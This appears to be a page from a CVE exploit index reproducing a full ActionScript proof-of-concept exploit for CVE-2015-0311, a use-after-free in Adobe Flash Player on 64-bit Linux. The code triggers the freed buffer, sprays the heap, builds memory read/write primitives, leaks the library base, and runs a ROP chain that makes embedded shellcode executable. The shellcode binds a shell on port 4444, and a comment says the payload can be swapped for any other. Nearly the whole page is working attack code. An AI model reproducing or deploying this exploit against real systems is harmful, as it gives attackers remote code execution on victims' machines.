4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploit.as AS
/*
    Exploit for CVE-2015-0311 on 64 bit Linux Systems
    Tested on Ubuntu 16.04 with Firefox 47.0 and Flash 11.2.202.438

    Thanks to CoreSecurity for their Writeup on triggering the UAF
    (https://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/)

*/
package {

    import flash.display.MovieClip;
    import flash.utils.*;
    import flash.system.*;
    import avm2.intrinsics.memory.*;
    import flash.external.ExternalInterface;

    public class Exploit extends MovieClip {
        private const BYTEARRAY_SPRAY_LEN:uint = 0x500; // how many ByteArrays to spray on the heap
        private const VECTOR_SPRAY_LEN:uint = 0x500; // how many Vectors to spray on the heap
        private const BYTEARRAY_MAGIC_NUM:uint = 0xdeadbeef; // magic number to search for (ByteArray)
        private const VECTOR_MAGIC_NUM:uint = 0x1234; // magic number to search for (Vector)
        private const UAF_MEMORY_LEN:uint = 0x24000; //Size of UAF memory

        private var byteArraySpray:Vector.<ByteArray> = new Vector.<ByteArray>();
        private var vectorSpray:Vector.<Vector.<Object>> = new Vector.<Vector.<Object>>();
        private var cByteArrayOffset:uint = 0;
        private var cByteArray:ByteArray;
        private var cVectorOffset:uint = 0;
        private var cVector:Vector.<Object>;
        private var lfpBase:Uint64;
        private var shellcode:ByteArray = new ByteArray();

        // Payload can be arbitrarily replaced, this one makes a shell listen @ 4444
        // taken from shell-storm.org
        /*
	      1 ; compile with nasm -f bin -o shellcode shellcode.S
	      2 bits 64
	      3 
	      4     push rax
	      5     ; fork syscall
	      6     mov rax, 57     ; sys_fork
	      7     syscall
	      8     ; are we in the child?
	      9     cmp rax,0
	     10     je child
	     11 parent:
	     12     pop rax
	     13     mov rsp, rbp
	     14     sub rsp, 344
	     15     ret
	     16 child:
	     17     dd 0xdecafbad // placeholder -> replace with actual payload
	     18     ; exit(0)
	     19     mov rax, 60
	     20     mov rdi, 0
	     21     syscall
        */
        private var payload:String = "" + 
                // continue execution
                "\x50\xb8\x39\x00\x00\x00\x0f\x05\x48\x83\xf8\x00\x74\x0c\x58" +
                "\x48\x89\xec\x48\x81\xec\x58\x01\x00\x00\xc3" +
                // shellcode
		"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2" +
		"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c" +
		"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05" +
		"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89" +
		"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f" +
		"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" +
		"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" +
		"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" +
		"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05" +
                // exit 0
                "\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"
                 



        public function Exploit():void {
            doExploit();

            Console.log("[*] exiting...");
        }

        public function doExploit():void {
            try{
                byteArraySpray.length = BYTEARRAY_SPRAY_LEN;
                vectorSpray.length = VECTOR_SPRAY_LEN;

                makeShellcode();
                triggerUAF();
                sprayHeapByteArray();
                locateByteArray();
                unsprayHeapByteArray();
                sprayHeapVector();
                locateVector();
                leakLibflashplayerBase();
                startRop();
                Console.log("[+] exploit executed");
                
            }catch(e:Error){
                Console.log("unexpected exception");
                Console.log(e.toString());
            }

        }

	public function makeShellcode():void {
            for(var i:uint=0; i<payload.length; i++){
                shellcode.writeByte(payload.charCodeAt(i));
            }
            Console.log("[*] shellcode size: " + shellcode.length.toString());
            return;
	}

        public function leakLibflashplayerBase():void {
            var oAddr:Uint64 = new Uint64();
            var vtableAddr:Uint64;
            var leak:Object = new Object();

            oAddr = leakAddr(leak);
            vtableAddr = read64(oAddr); // read vtable
            lfpBase = read64(vtableAddr); // read vtable[0]
            lfpBase = lfpBase.subtract(0,0x7669b0);
            Console.log("[+] lfp base = " + lfpBase.toString());

        }
        public function startRop():void {
            var vtable:ByteArray = new ByteArray(); 
            var rop:ByteArray = new ByteArray(); 
            var storage:ByteArray = new ByteArray();
            var vAddr: Uint64;
            var hAddr: Uint64;
            var rAddr: Uint64;
            var sAddr: Uint64;
            var hvAddr: Uint64 = new Uint64();
            var hijack:Object = new Object();

            sAddr = leakByteArrayRaw(shellcode);
            hAddr = leakAddr(hijack);
            hvAddr = read64(hAddr);
            Console.log("[*] hijack object: "+hAddr.toString());
            Console.log("[*] hijack object vtable: "+hvAddr.toString());
            Console.log("[*] hijack object method: "+leakAddr(hijack.toString));

            storage.writeUnsignedInt(0xdecafbad);
            storage.writeUnsignedInt(0xdecafbad);
            storage.writeUnsignedInt(0xdecafbad);
            storage.writeUnsignedInt(0xdecafbad);

            rop.endian = Endian.LITTLE_ENDIAN;

            // mprotect syscall
            // pop rax; ret;
            addRopRel(rop, 0x4fd30);
            addRop(rop, 0x0, 0xA); // rax -> 10 (mprotect)
            // pop rdi; ret;
            addRopRel(rop, 0x1b7192);
            addRop(rop, sAddr.hi, sAddr.lo); // rdi -> shellcode start
            // pop rsi; ret;
            addRopRel(rop, 0x01b76b0);
            addRop(rop, 0x0, 0x1337); // rsi -> shellcode length
            // pop rdx; ret;
            addRopRel(rop, 0x1f1b01);
            addRop(rop, 0x0, 0x07); // rdx -> rwx (0x7)
            // syscall; ret
            addRopRel(rop, 0xdae483);

            // shellcode takes care of restoring stack+continuing execution (skips the actual method call)
            addRop(rop, sAddr.hi, sAddr.lo);

            rAddr = leakByteArrayRaw(rop);
            Console.log("[*] rop buffer: "+rAddr.toString());

            vtable.endian = Endian.LITTLE_ENDIAN;
            vtable.writeUnsignedInt(0xdeadbeef); // garbage
            vtable.writeUnsignedInt(0xdeadbeef); // garbage
            // After the first gadget is executed, RSP will point here
            // this gadget makes it point to our ropchain
            // pop rsp; ret
            vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).lo); // pop gadget lo
            vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).hi); // pop gadget hi
            vtable.writeUnsignedInt(rAddr.lo); // fake stack lo
            vtable.writeUnsignedInt(rAddr.hi); // fake stack hi
            for(var i:uint; i<4; i++){
                vtable.writeUnsignedInt(0xdeadbabe); // garbage
            }
            // this entry will be executed when toString is called
            // RAX will point to the start of the vtable, the first
            // gadget is a pivot that makes RSP point to the beginning
            // of the vtable
            // push rax; pop rsp; mov eax, edx; add rsp, 8; ret;
            vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).lo); //rip lo
            vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).hi); //rip hi

            vAddr = leakByteArrayRaw(vtable);
            write64(vAddr, hAddr);  // patch vtable
            hijack.toString();      // execute code
            write64(hvAddr, hAddr); // restore vtable 
            
        }
        public function addRop(rop:ByteArray, hi:uint, lo:uint):void{
            rop.writeUnsignedInt(lo); // rip lo
            rop.writeUnsignedInt(hi); // rip hi
        }
        public function addRopRel(rop:ByteArray, lo:uint):void{
            var addr:Uint64;
            
            addr = lfpBase.add(0,lo);
            rop.writeUnsignedInt(addr.lo); // rip lo
            rop.writeUnsignedInt(addr.hi); // rip hi
        }
        public function leakByteArrayRaw(ba:ByteArray):Uint64{
            var addr:Uint64;

            addr = leakAddr(ba);
            addr = addr.add(0,32);

            addr = read64(addr);
            addr = addr.add(0,56)
            return read64(addr);

        }

        public function read64(addr:Uint64):Uint64{
            var old_hi:uint, old_lo:uint;
            var val:Uint64 = new Uint64();

            // store old pointer
            old_hi = li32(cByteArrayOffset-12);
            old_lo = li32(cByteArrayOffset-16);

            // patch pointer with address
            si32(addr.hi, cByteArrayOffset-12)
            si32(addr.lo, cByteArrayOffset-16)

            // read low 32 bit
            cByteArray.position = 0;
            val.lo = cByteArray.readUnsignedInt();
            // read high 32 bit
            val.hi = cByteArray.readUnsignedInt();

            // restore old pointer
            si32(old_hi, cByteArrayOffset-12);
            si32(old_lo, cByteArrayOffset-16);

            return val;

        }

        public function write64(val:Uint64, addr:Uint64):void{
            var old_hi:uint, old_lo:uint;

            // store old pointer
            old_hi = li32(cByteArrayOffset-12);
            old_lo = li32(cByteArrayOffset-16);

            // patch pointer with address
            si32(addr.hi, cByteArrayOffset-12)
            si32(addr.lo, cByteArrayOffset-16)

            // write low 32 bit
            cByteArray.position = 0;
            cByteArray.writeUnsignedInt(val.lo);
            // write high 32 bit
            cByteArray.writeUnsignedInt(val.hi);

            // restore old pinter
            si32(old_hi, cByteArrayOffset-12);
            si32(old_lo, cByteArrayOffset-16);

        }

        public function write32(val:uint, addr:Uint64):void{
            var old_hi:uint, old_lo:uint;

            // store old pointer
            old_hi = li32(cByteArrayOffset-12);
            old_lo = li32(cByteArrayOffset-16);

            // patch pointer with address
            si32(addr.hi, cByteArrayOffset-12)
            si32(addr.lo, cByteArrayOffset-16)

            // write 32 bit
            cByteArray.position = 0;
            cByteArray.writeUnsignedInt(val);

            // restore old pinter
            si32(old_hi, cByteArrayOffset-12);
            si32(old_lo, cByteArrayOffset-16);

        }
        public function leakAddr(o:Object):Uint64 {
            var raw:Uint64 = new Uint64();
            cVector[0] = o;
            raw.hi = li32(cVectorOffset+12);
            raw.lo = li32(cVectorOffset+8);
            raw.lo &= 0xFFFFFFF8;
            cVector[0] = null;
            return raw;
        }

        public function sprayHeapVector():void {
            for(var i:uint=0;i<vectorSpray.length;i++){
                vectorSpray[i] = new Vector.<Object>();
                vectorSpray[i].length = VECTOR_MAGIC_NUM;
                vectorSpray[i][0] = new Object();
            }
            Console.log("[*] heap sprayed with Vectors");

        }

        public function unsprayHeapByteArray():void {
            for(var i:uint=0;i<byteArraySpray.length;i++){
                byteArraySpray[i] = null;
            }
        }

        public function sprayHeapByteArray():void {

            for(var i:uint=0;i<byteArraySpray.length;i++){
                byteArraySpray[i] = new ByteArray();
                byteArraySpray[i].length = 8;
                byteArraySpray[i].writeUnsignedInt(0xcafebabe);
                byteArraySpray[i].position = BYTEARRAY_MAGIC_NUM;
            }
            Console.log("[*] heap sprayed with ByteArrays");
            
        }

        public function locateVector():Vector.<Object> {
            var val:uint;
            for(var i:uint=0;i<UAF_MEMORY_LEN-3;i++){
                val = li32(i);

                if( val == VECTOR_MAGIC_NUM){
                    Console.log("[+] found vector in memory @ offset 0x" + i.toString(16));
                    cVectorOffset = i;

                    var raw_hi:uint, raw_lo:uint;
                    var raw:Uint64 = new Uint64();
                    raw.hi = li32(i+12);
                    raw.lo = li32(i+8);
                    si32(0x1, i);
                    for(var j:uint=0;j<vectorSpray.length;j++){
                        if(vectorSpray[j].length != VECTOR_MAGIC_NUM){
                            Console.log("[+] memory vector object found @ index " + j.toString(16));
                            si32(VECTOR_MAGIC_NUM, i);
                            cVector = vectorSpray[j];
                            return vectorSpray[j];
                        }
                    }
                    Console.log("[-] memory vector not found in array");
                    return null;
                }
                
            }
            Console.log("[-] failed to find vector in memory");

            return null;
        }

        public function locateByteArray():ByteArray {
            var val:uint;
            for(var i:uint=0;i<UAF_MEMORY_LEN-3;i++){
                val = li32(i);
                if( val == BYTEARRAY_MAGIC_NUM){
                    Console.log("[+] found bytearray in memory @ offset 0x" + i.toString(16));
                    cByteArrayOffset = i;
                    si32(0x0, i);

                    for(var j:uint=0;j<byteArraySpray.length;j++){
                        if(byteArraySpray[j].position != BYTEARRAY_MAGIC_NUM){
                            Console.log("[+] memory bytearray object found @ index " + j.toString(16));
                            cByteArray = byteArraySpray[j];
                            cByteArray.endian = Endian.LITTLE_ENDIAN;
                            return byteArraySpray[j];
                        }
                    }
                    Console.log("[-] corruptable bytearray not found");

                    return null;
                }
                
            }
            Console.log("[-] failed to find bytearray in memory");
            return null;
        }

        /* Thanks to CoreSecurity for their writeup on how to trigger the UAF */
        public function triggerUAF():void {
            
            var count:int = 0, pos:int = 0;

	    var byteArrayUAF:ByteArray = new ByteArray();
            byteArrayUAF.endian = Endian.LITTLE_ENDIAN;
            byteArrayUAF.position = 0;

            /* Initialize the ByteArray with some data */
            while (count < UAF_MEMORY_LEN / 4){
                byteArrayUAF.writeUnsignedInt(0xfeedface + count);
                count++;
            }

            /* Compress it with zlib */
            byteArrayUAF.compress();

            /* Overwrite the compressed data with junk, starting at offset 0x200 */
            byteArrayUAF.position = 0x200;
            pos = 0x200;
            while (pos < byteArrayUAF.length){
                byteArrayUAF.writeByte(pos);
                pos++;
            }


            /* Create a subscriber for that ByteArray */
            ApplicationDomain.currentDomain.domainMemory = byteArrayUAF;

            /* Trigger the bug! ByteArray::UncompressViaZlibVariant will
		leave ApplicationDomain.currentDomain.domainMemory
            	pointing to a buffer that is freed when the decompression fails. */

            try{
                byteArrayUAF.uncompress();
            } catch(error:Error){
                Console.log("[*] use-after-free triggered");
            }       
        }

    }


}
/* Adobe didn't think implementing an unsigned 64 bit integer would be
necessary, so I have to do their job. */
class Uint64 {

    public var hi:uint;
    public var lo:uint;

    public function Uint64(hi:uint=0, lo:uint=0){
        this.hi = hi;
        this.lo = lo;
    }

    public function add(hi:uint, lo:uint):Uint64 {
        var nHi:uint, nLo:uint;

        nLo = this.lo + lo;
        nHi = this.hi + hi;
        
        if(nLo < this.lo){
            nHi++;
        }

        return new Uint64(nHi, nLo);
    }
    public function subtract(hi:uint, lo:uint):Uint64 {
        var nHi:uint, nLo:uint;

        nLo = this.lo - lo;
        nHi = this.hi - hi;
        
        if(nLo > this.lo){
            nHi--;
        }

        return new Uint64(nHi, nLo);
    }


    public function toString():String {
        return "0x" + hi.toString(16) + Uint64.hexPad(lo);
    }
    private static function hexPad(num:uint):String {
        var ret:String = num.toString(16);
        while(ret.length < 32/4) {
            ret = "0"+ret;
        }

        return ret;
    }
    
}
/* Helper class for printing to Browser JS Console*/
class Console {
    import flash.external.ExternalInterface;

    public static function log(foo:String):void {
        ExternalInterface.call("console.log", foo);
    }
}